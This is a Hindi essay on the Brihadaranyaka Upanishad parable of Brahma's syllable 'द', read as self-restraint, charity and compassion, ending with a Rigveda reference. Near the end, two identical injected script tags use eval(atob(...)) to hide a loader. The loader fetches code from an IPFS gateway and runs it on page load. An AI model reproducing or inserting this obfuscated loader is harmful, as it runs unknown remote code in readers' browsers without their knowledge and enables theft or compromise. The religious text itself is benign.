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द का अर्थ

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बृहदारण्यकोपनिषद में एक शिक्षाप्रद कथा है । प्रजापिता की तीन संताने थीं- देवता, मनुष्य तथा दानव । एक बार ये तीनों अपने पिता के पास कुछ उपदेश पाने के निमित्त गए। पिता ने उन्हें कुछ कठोर नियमों का पालन करते हुए कुछ समय व्यतीत करने के लिए कहा ताकि यह जाना जा सके कि वास्तव में वे ज्ञान प्राप्त करने के प्रति कितने गभींर हैं। जब थोड़ा समय बीत गया तो प्रजापिता ने बारी –बारी से एक एक को अपने पास बुलाया।

सर्वप्रथम देवता पहुँचे। उन्होंने पिता को प्रणाम करते हुए उपदेश देने के लिए प्रार्थना की, ब्रह्मा बोले, 'द'। यह सुनकर देवता वापस जाने लगे तब ब्रह्माजी उनसे बोले, 'तुम क्या समझे?' देवता बोले, 'हमने समझा दमन करो।' ब्रह्मा ने आर्शीवाद दिया और कहा, 'तुम ठीक समझे, इसी का आचरण करो।' देवता हर समय, भोग-विलास और नाच गान में व्यस्त रहते हैं। हमने संसार के भोगों को संयमपूर्वक रहते हुए छोड़ दिया, परोपकार में सारा जीवन व्यतीत कर दिया, व्रत उपवास, पूजा-पाठ और सादगी के साथ रहे, क्या इसलिए कि हम शरीर छोड़ने के पश्चात् स्वर्ग को प्राप्त हों और दिव्य भोगों का रसास्वादन करें और ऐसा ही हुआ तो ब्रह्माजी उपदेश देते हैं कि ‘दमन करो’। अपनी इच्छाओं का दमन करो, अपनी इन्द्रियों पर नियंत्रण रखो और संयमपूर्वक रहो, तभी तुम्हारा कल्याण है क्योंकि पुण्य अर्थात तुम्हारे अच्छे कर्मों का फल समाप्त होने के पश्चात् तुम्हें फिर संसार में ही जन्म लेना पड़ेगा। स्वर्ग के भोगों को भोगो लेकिन संयमपूर्वक, उसमें खो मत जाओ।

अब मनुष्य प्रजापिता के पास गए और उनसे आग्रह किया कि वे उन्हें उपदेश दें। प्रजापिता ने उनसे भी केवल 'द' अक्षर ही कहा। मनुष्य उसे समझकर संतुष्ट होकर वापस चल दिए। ब्रह्मा जी ने उनसे भी देवताओं के समान वही प्रश्न किया, 'क्या समझे?' मनुष्य बोले कि हम समझ गए कि आपने हमें 'दान क्रिया' का आदेश दिया है। ब्रह्मा जी ने कहा, 'तुम ठीक समझे हो।' वास्तव में दान एक ऐसी क्रिया है, जिससे दूसरों का हित तो होता ही है, हमारे भी अहम का विस्तार होता चला जाता है। मनुष्य प्रायः स्वार्थी होता है। उसका अपना एक परिवार होता है यूं कहें कि उसके कुछ अपने होते हैं जिनके हित में ही वह लगा रहता है, शेष सबको वह गैर समझता है, उनके सुख-दुख की कोई चिन्ता नहीं करता। किसी के साथ कितनी ही बड़ी दुर्घटना क्यों न हो जाए, जरा सी देर के लिए महसूस करेगा फिर थो़ड़ी ही देर में भूल जाएगा, लेकिन जब उसके अपने किसी व्यक्ति के साथ ऐसा हादसा हो जाता है तो वह तड़प उठता है, बैचेन हो जाता है। अपनी आवश्यकता में कटौती करके अथवा अपने फ़ालतू धन से, वस्तु से जब हम किसी की सहायता करते हैं, उसे निःस्वार्थ भाव से दान देते हैं, जो हमारे अन्दर उदारता, सहनशीलता, परदु:ख कातरता तथा त्याग और बलिदान जैसे गुणो का विस्तार करता चला जाता है। हमारे भोगों के एकत्रीकरण की प्रवृत्ति को रोकता है तथा समाज में सबको समान बनाता है।

अंत में दानव ब्रहाजी के पास पहुँचे। उनसे भी ब्रह्मा जी ने 'द' अक्षर का ही उच्चारण किया। वे भी जब वापस जाने लगे तो उनसे भी ब्रह्मा जी ने यह प्रश्न किया, 'क्या वे समझ गए हैं?' उन्होंने भी 'हां' में उत्तर दिया कि आपने हमें बताया, 'दया करें।' ब्रह्माजी बहुत प्रसन्न हुए कि दानव भी समझ गए कि वे क्या चाहते हैं। दानवों अथवा असुरों का स्वभाव बिना कारण दूसरों को दु:ख पहुंचाना होता है। उन्हें कुछ लाभ हो या न हो, पीडित व्यक्ति सज्जन है या दुर्जन, इससे उनका कोई मतलब नहीं, बस दु:ख देना उनका स्वभाव है, आचरण है। आज भी समाज में ऐसे लोग दिखाई देते हैं जो दूसरों के दु:ख में ही अपना सुख समझते हैं। दूसरों को कितनी पीडा होती है, उनके बसे-बसाए, फलते–फूलते परिवार, उनकी जलन, द्वेष, घृणा, क्रूरता और अत्याचार के कारण नष्ट हो जाते हैं, बरबाद हो जाते हैं, इसे वे नहीं देखते। ऐसे लोगों को प्रजापिता ब्रह्मा का आदेश है कि वे दूसरों पर ‘दया करें’, उन्हें अपने जैसा ही समझें और जैसा व्यवहार वे दूसरों के द्वारा अपने लिए चाहते हैं, वैसा ही दूसरों के साथ करें।

इस प्रकार तीन प्रकार के स्वभाव वाले, देवताओं, मनुष्यों और दानवों के लिए उनके पिता ब्रह्मा जी का उपदेश है, वे दमन करें, दान करें तथा दया करें। इसी से यह समाज सुव्यवस्थित एवं सुख-शांतिपूर्वक रह सकेगा और निरंतर भौतिक तथा धार्मिक क्षेत्रों में उन्नति करता चला जाएगा ।

सुगा ऋतस्य पन्थाः[1] अर्थात 'सत्य का मार्ग सुख से गमन करने योग्य है, सरल है। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. ऋग्वेद-8/31/13

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